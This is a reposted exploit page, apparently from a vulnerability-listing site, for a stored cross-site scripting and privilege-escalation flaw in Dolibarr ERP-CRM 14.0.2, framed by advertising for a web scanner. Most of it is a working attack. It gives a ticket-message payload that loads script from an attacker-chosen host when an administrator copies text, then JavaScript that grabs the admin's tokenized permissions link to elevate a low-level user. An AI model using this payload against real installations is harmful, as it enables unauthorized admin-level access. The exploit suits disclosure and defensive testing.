dolibarr erpcrm 14.0.2 stored crosssite scripting (xss) privilege escalation

▸▸▸ Exploit & Vulnerability >>   webapps exploit & php vulnerability




dolibarr erpcrm 14.0.2 stored crosssite scripting (xss) privilege escalation Code Code...
				
# Exploit Title: Dolibarr ERP-CRM 14.0.2 - Stored Cross-Site Scripting (XSS) / Privilege Escalation # Exploit Author: Oscar Gutierrez (m4xp0w3r) # Date: 18/10/2021 # Vendor Homepage: https://www.dolibarr.org/ # Software Link: https://github.com/Dolibarr # Tested on: Ubuntu, LAAMP # Vendor: Dolibarr # Version: v14.0.2 # Exploit Description: # Dolibarr ERP & CRM v14.0.2 suffers from a stored XSS vulnerability in the ticket creation flow that allows a low level user (with full access to the Tickets module) to achieve full permissions. For this attack vector to work, an administrator user needs to copy the text in the "message" box. # Instructions: #1. Insert this payload in the message box when creating a ticket: "><span onbeforecopy="let pwned = document.createElement('script'); pwned.setAttribute('src', 'http://YOURIPGOESHERE/hax.js'); document.body.appendChild(pwned);" contenteditable>test</span> # #2. Host this file (Change the extension of the file to js and remove comments) in a remote http location of your preference. #NOTE: The user id in /dolibarr/htdocs/user/perms.php?id=2 may vary depending on the installation so you might have to change this. In my case, I had only 2 users, user 2 being the low level user. # #3.Once an administrator user copies the text within the ticket the attack will launch. function read_body(xhr) { var data = xhr.responseXML; var tokenizedUrl = data.getElementsByClassName("reposition commonlink")[0].href; console.log(tokenizedUrl); return tokenizedUrl; } function escalatePrivs() { var url = read_body(xhr); var http = new XMLHttpRequest(); http.open('GET', url); http.onreadystatechange = function() { if (this.readyState === XMLHttpRequest.DONE && this.status === 200) { return; } }; http.send(null); } var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { read_body(xhr); escalatePrivs(xhr); } } xhr.open('GET', '/dolibarr/htdocs/user/perms.php?id=2', true);

Dolibarr erpcrm 14.0.2 stored crosssite scripting (xss) privilege escalation Vulnerability / Exploit Source : Dolibarr erpcrm 14.0.2 stored crosssite scripting (xss) privilege escalation



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.